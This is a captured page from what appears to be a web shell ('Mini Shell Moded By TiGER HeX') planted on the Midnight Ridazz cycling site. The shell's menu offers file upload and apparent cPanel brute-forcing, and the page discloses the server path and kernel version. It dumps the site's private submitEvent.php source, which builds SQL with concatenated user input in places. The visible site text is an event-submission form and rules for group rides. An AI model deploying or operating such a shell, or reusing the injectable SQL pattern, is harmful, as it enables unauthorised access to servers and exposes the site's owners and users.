Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
var
/
www
/
ridazz
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
//var/www/ridazz/submitEvent.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon2.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop2.php'); if(!is_authorized()){ header("Location: login.php?refurl=".urlencode($_SERVER['REQUEST_URI'])); exit(); } if(is_banned()){ header("Location: banned.php"); exit(); } $html_msg = ""; $story_title = ""; $story_body = ""; if(isset($_POST['submit'])){ $cur_file = $_FILES['file']['name']; $cur_temp = $_FILES['file']['tmp_name']; $cur_mime = $_FILES['file']['type']; $cur_size = $_FILES['file']['size']; $cur_error = $_FILES['file']['error']; $uid = $_SESSION['user_id']; $story_title = sanitize_title(addslashes($_REQUEST['title'])); $story_body = sanitize_body(addslashes($_REQUEST['body'])); $date=sanitize_date($_REQUEST['year']."-".$_REQUEST['month']."-".$_REQUEST['day']); //a file has been submitted if(!empty($cur_file)){ $valid = validate_content($cur_error,$cur_mime,$cur_size,$cur_file,EVENT_MAX_KB); if($valid['result']){ $type = explode("/",$cur_mime); $cur_type = trim($type[0]); $unique_name = addslashes(sanitize_title(get_unique_filename($cur_file))); //check to see if image needs resizing $image_info = getimagesize($cur_temp); //create image resource $gd = new gd_img($cur_mime,$cur_temp); if(!$gd->img_id){ die($gd->gd_error);} //check to see if thumb image needs resizing if(($image_info[0] > EVENT_THUMB_WIDTH) || ($image_info[1] > EVENT_THUMB_HEIGHT)){ //resize $id_t = $gd->gd_scale_img(EVENT_THUMB_WIDTH,EVENT_THUMB_WIDTH,IMG_QUALITY); if(!$id_t){ die($gd->gd_error);} $res = $gd->gd_create_img($id_t,ROOT_DIR.STORY_SIMG_DIR.$unique_name); if(!$res){ die($gd->gd_error);} }else{ //don't resize $res = $gd->gd_create_img($gd->img_id,ROOT_DIR.STORY_SIMG_DIR.$unique_name); if(!$res){ die($gd->gd_error);} } //create watermark image $w_type = getimagesize(WATERMARK_FILE); $gdw = new gd_img($w_type['mime'],WATERMARK_FILE); if(!$gdw->img_id){ die($gdw->gd_error);} //check to see if full size image needs resizing if(($image_info[0] > EVENT_IMG_WIDTH) || ($image_info[1] > EVENT_IMG_HEIGHT)){ //scale image $id = $gd->gd_scale_img(EVENT_IMG_WIDTH,EVENT_IMG_WIDTH,IMG_QUALITY); if(!$id){ die($gd->gd_error);} //apply watermark $res = $gd->gd_merge_ids($id,$gdw->img_id); if(!$res){ die($gd->gd_error);} //create scaled image $res = $gd->gd_create_img($id,ROOT_DIR.STORY_LIMG_DIR.$unique_name); if(!$res){ die($gd->gd_error);} }else{ $id = $gd->img_id; //apply watermark $res = $gd->gd_merge_ids($id,$gdw->img_id); if(!$res){ die($gd->gd_error);} //create full image $res = $gd->gd_create_img($gd->img_id,ROOT_DIR.STORY_LIMG_DIR.$unique_name); if(!$res){ die($gd->gd_error);} } }else{ $html_msg.="<div class=\"error\">Unable to store the following content $cur_file<br> Reason: ".$valid['error']."</div>"; } }else{ $unique_name = ""; } if(empty($html_msg)){ $story_body = addslashes(get_html_text($story_body)); //$sql = "INSERT INTO 50mm_stories (user_id,story_title,story_body,story_type,approved,entry_time) VALUES ('$uid','$story_title','$story_body','EVENT',1,'$date')"; $sql = "INSERT INTO 50mm_stories (user_id,story_title,story_body,story_type,approved,entry_time) VALUES (?,?,?,'EVENT',1,'$date')"; //'$uid','$story_title','$story_body','event',1,'$date' $stmt = $db->sql_prepare($sql); mysqli_stmt_bind_param($stmt, 'sss', $uid, sanitize_title($story_title), sanitize_body($story_body)); $result = mysqli_stmt_execute($stmt); if( !$result ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $sql = "select last_insert_id() as story_id"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $story_id = $row['story_id']; $sql = "insert into 50mm_embed (story_id,image) values ('$story_id','$unique_name')"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $story_title = ""; $story_body = ""; $html_msg = "<div class=\"hilite\">you have successfully added a your ride! view it in the ride calendar...<br><br></div>"; } } $pg_name = basename($_server['php_self']); include_once('includes/header.php'); ?> <br> <? //content $sql = "select page_body from 50mm_pages where page_name ='submitevent'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $content = stripslashes($row['page_body']); echo $content; ?> <br> <?echo $html_msg;?> <script>divs = new array('title','body');</script> <form action="<?echo $_server['php_self']?>" method="post" enctype="multipart/form-data" onsubmit="return validateform(this,divs,'eventerror');"> <table cellspacing="0" cellpadding="4" border="0"> <tr> <td align="right">title of the ride:<span id="errtitle" class="error" style="visibility:hidden;"> *</span></td></td> <td><input type="text" name="title" value="<?echo $story_title?>" class="field" size="50"></td> </tr> <tr> <td align="right">date of the ride:</td> <td> <? $m_opt = '<select name="month">'."\n"; while (list($key, $txt) = each($month_array)) { $m_opt.= '<option value="'.$key.'">'.$txt.'</option>'."\n"; } $m_opt.= '</select>'."\n"; echo $m_opt; ?> - <? $d_opt = '<select name="day">'."\n"; for($i=1;$i<=31;$i++){ if($i<=9){ $key = "0".$i; }else{ $key = $i; } $d_opt.= '<option value="'.$key.'">'.$i.'</option>'."\n"; } $d_opt.= '</select>'."\n"; echo $d_opt; ?> - <? $start_year = date('Y'); $end_year = date('Y') + 1; $y_opt = '<select name="year">'."\n"; for($i=$start_year;$i<=$end_year;$i++){ $y_opt.= '<option value="'.$i.'">'.$i.'</option>'."\n"; } $y_opt.= '</select>'."\n"; echo $y_opt; ?> </td> </tr> <tr> <td align="right">Upload Flyer Image:</td> <td><input type="file" name="file" class="field"></td> </tr> <tr> <td colspan="2" align="right"> <div align="left">Please submit all the ride details (date, time, when, where etc.) in text format below.<br> You can use custom html if you wish or use the sample html provided...<br> <br> <span id="errbody" class="error" style="visibility:hidden;"> *</span>Details of the ride: </div> </td> </tr> <tr> <td colspan="2" align="right"><textarea wrap="on" name="body" class="body" style="width: 680px; height: 650px;"><h3> Friday <!-- replace with correct Day of the ride example: Friday--> <BR> START TIME: 9pm <!-- replace with correct time of the ride example: 9PM--> <BR> </h3> <!--place all ride details and descriptions in the text below--> Place ride details here. <br><br><h3> <!--use gmap-pedometer.com to map out your route if you wish to make the route public replace the address of your specific route into the example below--> <a href="http://www.gmap-pedometer.com/" target=_blank>INTERACTIVE ROUTE MAP</a></h3><BR><br> <!--create a forum topic to discuss this ride and replace the link to it below--> <a href="http://www.midnightridazz.com/forums.php">Message Board (click here to discuss this ride.)</a><br><br> <!--replace contact email in the text below--> Contact info for this ride: <a href=mailto:your@email_here.com>your@email_here.com</a><br><br><?echo $story_body?></textarea></td> </tr> <tr> <td colspan="2" align="center">By clicking the "Submit Ride/Event"<br> button below you agree that this site and it's owners and moderators<br> bear no liability what so ever for anything that occurs as<br> a result of your planned ride. Thanks.<br> <br> <input name="submit" type="submit" class="button" value="Submit Ride/Event"> <div id="eventError" class="error" style="visibility:hidden;"> Please correct the fields marked by *</div> </td> </tr> </table> </form> <br><br> Before submitting your ride please consider these guidelines:<BR><BR><h2>Rulezz of the Ride...</h2>Lets be honest. No one is particularly eager to be an authority figure of massive bike rides. The reality is that a ride doesnt really need to have figures of authority. If every one observes common sense guidelines and are actively vocal about them as individuals we can all stay safe AND keep the rides fun. Ridazz works because every individual rider recognizes that the safety of one is the safety of all. Ridazz are vocal about hazzards in the road, Ridazz call out potholes, turns and slow downs. They are vocal about staying to the right and about thanking our friends in cars that we share the road with for waiting a few extra minutes for us to get through. It is because of these following guidelines that one can truly say: Ridazz don't die... they multiply. <BR><BR><br><img src="/images/stories/small/STREET_1156306415.gif" border="0" vspace="20" style="cursor:pointer;" onClick="popImage('%2Fimages%2Fstories%2Flarge%2FSTREET_1156306415.gif','410','600');"><br><div class="title">Stay out of the left lane. Stay to the right.</div>Most routes take Ridazz down 4 lane streets... This allows for the use of one entire lane while allowing for automobiles to continue using the left lane to pass on by. This is perhaps the most important rule we can follow. This also means maintaining the right lane as our own not to be confused with the <i>right hand turn lane</i> which some Ridazz tend to drift into when it becomes available or when there are no longer parked cars blocking it. We get one single un-obstructed lane and we maintain this lane until the route changes direction. <BR><BR><br><div class="title">Don't Litter.</div>There's nothing that hurts the Ridazz reputation quite like the mess of trash that invariably gets left behind at every rest stop we make. Please show respect for the neighborhood and for the small businesses by picking up after yourself and your friends. <BR><BR><br><div class="title">Make some noise!</div>Bicycle riders need to be noticed. Not because of their silly aviator goggles, but because being noticed means that drivers hear them and then see them.... and therefore avoid hitting them. We're not talking about yelling at drivers or scaring people... We're talking about whistles, cat calls, wolf howls and any other sexy noises you can muster that will put drivers on alert especially while crossing through an intersection. It's for YOUR safety.<BR><BR>Bicycle riders need to be notified of dangers. Potholes, cracks, railroad tracks... They can all cause serious injury. When a rida observes any such hazzards in the road they speak up and pass the message back. "Pothole to the right! Pass it back!" "Stop ahead!" "Slowing down slowing down!" All of these signals help keep the beast moving along SAFELY. <BR><BR><br><div class="title">No Rida Left Behind.</div>We've come a long way since the days of 30 Ridazz and everyone of them being able to stop when a fellow Rida was in trouble. Today this timeless slogan continues to be an important rule. Because it is simply impossible to stop 1000+ riders in their tracks for every person that gets a flat or experiences a mechanical failure we need to re-define what that slogan means. Understand that you as an individual rider are responsible for your well being. Have a buddy on the ride and stay in touch via cell phone. Make some contacts while getting ready at the start. It is EXTREMELY important to have your bicycle in good working order before you ride. Bring a flat fix kit, tubes and tools. You owe it to yourself to be prepared. And if you happen to see a lone rida stranded on the side, use that opportunity to make a new friend and help them out... No rida left behind. <BR><BR><br><div class="title">Slowing down or stopping? Move to the right!</div>If you as an individual have to suddenly slow down or you need to stop and the ride is moving along, PLEASE move as quickly as possible to the right and out of the way. Make sure you aren't cutting someone off in the process! <BR><BR><br><div class="title">Enforcing the Rulezz?</div>Nobody wants to be told by some "busybody" how to ride... Yet we all want to experience a flowing harmonious ride that keeps everyone safe and out of the cops radar. So how do you communicate to a rida that he or she is being a drag? Speak up! A simple "Stay to the right" is often enough to remind a rida that they're slipping. If you see a knucklehead throwing a bottle or littering simply boo that person. It's called community shaming. When everyone participates, it really works. Thanks for making Ridazz safe and fun for the years to come. <BR><BR><BR><BR><BR><BR> <h2>To submit Ride or Event to MidnightRidazz.com, fill out the form below.</h2><BR><table width =400> <tr><td> You can include one flyer image.<br><br>IMPORTANT: PLEASE include as many details about the ride as possible... Date, time, description, a route map. Including all details in text allows people to copy paste it into emails. Providing a map link would be helpful as well. Use <a href="http://www.gmap-pedometer.com/?r=419022" taget=_blank>www.gmap-pedometer.com</a> to create an interactive map of your route.<BR><br>If you are promoting an event you must include the cost of entry and there must be a place for Bicyclists to safely lock up their bikes at the event!</td></tr></table> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>